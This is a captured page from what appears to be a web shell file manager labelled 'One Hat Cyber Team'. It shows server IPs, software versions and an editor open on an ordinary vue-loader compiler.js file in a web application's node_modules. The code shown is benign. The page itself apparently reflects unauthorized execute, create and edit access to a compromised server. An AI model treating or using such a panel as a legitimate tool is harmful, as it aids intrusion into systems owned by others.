⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
vue-loader
/
lib
/
Edit File: compiler.js
// resolve compilers to use. let cached exports.resolveCompiler = function (ctx, loaderContext) { if (cached) { return cached } // check 2.7 try { const pkg = loadFromContext('vue/package.json', ctx) const [major, minor] = pkg.version.split('.') if (major === '2' && Number(minor) >= 7) { return (cached = { is27: true, compiler: loadFromContext('vue/compiler-sfc', ctx), templateCompiler: undefined }) } } catch (e) {} return (cached = { compiler: require('@vue/component-compiler-utils'), templateCompiler: loadTemplateCompiler(ctx, loaderContext) }) } function loadFromContext(path, ctx) { return require(require.resolve(path, { paths: [ctx] })) } function loadTemplateCompiler(ctx, loaderContext) { try { return loadFromContext('vue-template-compiler', ctx) } catch (e) { if (loaderContext) { if (/version mismatch/.test(e.toString())) { loaderContext.emitError(e) } else { loaderContext.emitError( new Error( `[vue-loader] vue-template-compiler must be installed as a peer dependency, ` + `or a compatible compiler implementation must be passed via options.` ) ) } } else { throw e } } }
Simpan